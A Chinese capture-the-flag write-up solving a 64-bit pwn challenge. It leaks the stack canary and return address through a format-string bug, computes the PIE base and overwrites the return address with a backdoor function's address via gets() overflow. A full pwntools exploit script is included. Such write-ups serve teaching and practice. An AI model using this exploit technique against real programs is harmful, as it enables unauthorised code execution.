64位程序.IDA打开,发现有格式化字符串漏洞,而且有栈溢出。
查看一下防护
开了canary保护,栈溢出时,要还原canary,开了PIE,地址会改变。我们可以通过第一个gets(format)
然后格式化字符串输出来泄露canary和此时函数的返回地址。然后通过第二个gets(v2)
来进行溢出。
我们首先要知道canary和函数返回地址在栈中的位置。所以我们要查看栈结构。
由于开了PIE,所以无法在main函数下断点,只能在printf和gets下断点。直接跳到格式化字符串漏洞处,然后查看栈结构,rbp上下分别是canary和返回地址。注意时64位程序存在寄存器传参,我们输入的%p%p%p存放在RDI中然后依次为
(rdi,rsi,rdx,rcx,r8,r9)。所以我们栈的第一个位置其实是rdi,所以canary和return的位置分别为17和19,我们输入%17$paaaa%19$p
就可以泄露canary和return的地址,中间加4个a方便后续接受程序返回的信息。
有了返回地址,我们减去偏移就能得到程序基地址,返回地址偏移为0x146F
后门函数的偏移为0x122E
然后计算第二次gets的偏移。
v2在栈中的位置是-0x40,栈结构如下
所以我们要输入0x40-0x8来把v2到canary填充完,然后再原封不动的输入canary,然后再输入0x8个a填充rbp指针,然后再输入后门函数地址覆盖返回地址。
from pwn import*
p=process("./find_flag")
p=remote("node4.anna.nssctf.cn",28197)
payload1='%17$paaa%19$p'
p.recvuntil("name?")
p.sendline(payload1)
buf=p.recvuntil("!").decode()
tmp=buf.split(" ")[5].split("aaa")[0]
canary=int(tmp,16)
tmp=buf.split("aaa")[1].split("!")[0]
re_addr=int(tmp,16)
base_addr=re_addr-0x0146F
#print(type(base_addr))
back_door=base_addr+0x122E
payload2=b'a'*(0x40-0x8)+p64(canary)+b'a'*8+p64(back_door)
p.recvuntil(" else? ")
p.sendline(payload2)
p.interactive()